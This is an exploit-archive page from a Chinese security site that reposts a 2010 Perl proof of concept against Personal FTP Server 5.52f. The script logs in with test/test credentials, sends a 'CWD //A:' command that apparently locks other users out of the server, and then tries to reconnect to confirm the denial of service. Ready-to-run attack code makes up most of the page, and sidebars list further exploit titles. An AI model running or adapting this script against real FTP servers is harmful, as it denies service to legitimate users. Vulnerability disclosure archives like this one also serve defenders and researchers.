首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Personal FTP Server 5.52f Exploit
来源:S8T@hotmail.com 作者:TA4G 发布时间:2010-08-02  
#!/usr/bin/perl
############################################################################
#
# Exploit Title: Personal FTP Server 5.52f bug
# Date: 01/08/2010
# Author: TA4G - S8T@hotmail.com
# Download: Personal FTP-Server PRO [deutsch] v5.52 Limitierte Shareware Version
# Download: http://www.michael-roth-software.de/prosharegerman.zip
# It's rather a bug then a DoS which consist in denying other users access to the ftp server, after a previous user triggered a //A: command
# Version: 5.52
# Google dork : n/a
# Platform / Tested on:  windows 7
# Category: webapps/0day
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
#  L0v3 To: TA4G _ lOsT _ Mr-DraGon _ Kader11000 _ illusionist2512 _ TnTDc _ P4L-T3RRORIST _ Sn!p3r_P4L
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
#                                          Gr33tz to ### ArHack.NeT ###
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

use Net::FTP;

(($target = $ARGV[0])) || die &quot;usage:$0 <target> <port>&quot;;

my $user = &quot;test&quot;;
my $pass = &quot;test&quot;;
$expl = &quot;//A:&quot;;

$ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die &quot;Nu m-am putut conecta: $!&quot;;
$ftp->login($user,$pass) || die &quot;Nu m-am putut loga: $!&quot;;
print &quot;M-am logat!n&quot;;

$ftp->command(&quot;CWD&quot;, $expl);
print &quot;Lansez comanda in executie...n&quot;;

print &quot;Incerc sa ma conectez din nou..n&quot;;

$ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die &quot;Userul 2 nu se mai poate conecta: $!&quot;;

$ftp->quit;  



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Payment Processor Script (faq.
·eSmart-Vision Trading (g_detai
·PHP Live 3.3 Remote SQL Inject
·Area Galid (galid) SQL Injecti
·BosDev BosClassifieds (cat_id)
·Xerver 4.32 Source Disclosure
·Cube Cart 3.0.19 FCKeditor Rem
·Jaangle 0.98e.971 Denial of Se
·ChordPulse 1.4 Denial of Servi
·WM Downloader 3.1.2.2 Buffer O
·Windows live msn (V 2009 build
·Mini-stream RM-MP3 Converter/W
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved